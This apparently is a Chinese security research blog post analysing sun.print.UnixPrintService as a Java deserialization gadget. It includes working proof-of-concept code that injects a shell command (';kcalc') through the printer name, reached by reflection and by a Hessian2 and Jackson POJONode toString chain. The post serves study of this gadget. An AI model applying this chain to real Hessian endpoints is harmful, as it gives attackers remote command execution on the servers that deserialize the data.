初探UnixPrintService
2023-10-01 05:17:08

前言

作为高贵的JDK自带getter,尽管他并没有继承Serializeable,但是仍可在hessian等依赖发挥作用。
该类在2022虎符CTF就已经被发现,但是网络上大部分的文章讲解都不是很细致,不过也确实没什么特别的,因为只在unix的JDK中存在,所以我就一直没有去细致了解,这几天搭建了Ubuntu的Java环境,就调一遍学习学习

准备

配置linux的maven和java环境,要注意java的版本,在高版本UnixPrintService就被移除了

maven

Maven – Download Apache Maven
Linux环境安装maven以及仓库和国内镜像的配置_linux换mavn国内源-CSDN博客
linux安装maven及配置环境变量_linux系统下maven怎么配置的?-CSDN博客

jdk

Java 存档下载 — Java SE 8 | Oracle 中国
下载 IntelliJ IDEA – 领先的 Java 和 Kotlin IDE (jetbrains.com)

注意事项

配置完环境后启动idea,还需要指定idea中的maven与jdk
UnixPrintService是反编译的,想要查看具体源码可以去下载源码包
Pasted image 20231001042751.png

这里我找了很久,就放出来帮助大家防止踩坑了
jdk8u/jdk8u/jdk: ec41773b9ff2 (openjdk.org)选择左边的下载方式即可
UnixPrintService源码在jdk-ec41773b9ff2\src\solaris\classes\sun目录中,在idea中添加源路径Pasted image 20231001043120.png
可以看见真实源码了
Pasted image 20231001043224.png

分析

Pasted image 20231001043414.png
该类的构造函数没有使用public与static修饰,所以只能通过使用反射去实例化该类

import sun.print.UnixPrintService;
import java.lang.reflect.Constructor;

public class unix {
    public static void main(String[] args) throws Exception{
        Constructor unixPrintServiceConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
        unixPrintServiceConstructor.setAccessible(true);
        UnixPrintService o = (UnixPrintService) unixPrintServiceConstructor.newInstance(";kcalc");
        System.out.println(o);
    }
}

Pasted image 20231001043836.png

我们知道该类中存在getter,所以我们关注一下get开头的函数,筛选一下
Pasted image 20231001043921.png
Pasted image 20231001043938.png
Pasted image 20231001044004.pngPasted image 20231001044024.pngPasted image 20231001044042.pngPasted image 20231001044127.png
可以看见都会将printer参数拼接进command中并调用PrintServiceLookupProvider进行执行,而printer是实例化时可控的参数,我们就可以通过控制该参数来造成命令注入

我们来测试一下,注意这些函数都是私有函数,所以只能通过反射去调用

import sun.print.UnixPrintService;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;

public class unix {
    public static void main(String[] args) throws Exception{
        Constructor unixPrintServiceConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
        unixPrintServiceConstructor.setAccessible(true);
        UnixPrintService o = (UnixPrintService) unixPrintServiceConstructor.newInstance(";kcalc");
        System.out.println(o);
        
        Method getPrinterIsAcceptingJobsSysVS = o.getClass().getDeclaredMethod("getPrinterIsAcceptingJobsSysV");
        getPrinterIsAcceptingJobsSysVS.setAccessible(true);
        getPrinterIsAcceptingJobsSysVS.invoke(o);
    }
}

成功执行
Pasted image 20231001044546.png

结合其他依赖的拓展

Hessian

在Hessian2的反序列化中,可以对没有继承序列化接口的类进行序列化和反序列化,并且还爆出过一个CVE漏洞,可以通过except去触发任意类的toString方法,这里可以我们可以去配合jackson的tostring链进行一个攻击,具体可以去看我之前写的hessian

Hessian2.readObject
	POJONode.toString
		UnixPrintService.getter
import com.fasterxml.jackson.databind.node.POJONode;
import sec.tools;
import sun.print.UnixPrintService;
import java.lang.reflect.Constructor;

public class jackson_unix {
    public static void main(String[] args) throws Exception {
        tools.overrideJackson();

        Constructor unixPrintServiceConstructor = UnixPrintService.class.getDeclaredConstructor(String.class);
        unixPrintServiceConstructor.setAccessible(true);
        UnixPrintService o = (UnixPrintService) unixPrintServiceConstructor.newInstance(";kcalc");

        POJONode jsonNodes = new POJONode(o);

        byte[] bytes = tools.Hessian2_toString_serialize(jsonNodes);
        tools.Hessian2_Deserial(bytes);
    }
}

Pasted image 20231001045935.png
注意:因为UnixPrintService中存在多个getter,所以会执行多次

结尾

学习了一下发现,该类的利用面其实并不多?难怪很少有人写文章,本来还想和其他的依赖联动一下,发现除了hessian好像也没什么了,以后想起来再说吧

Prev
2023-10-01 05:17:08
Next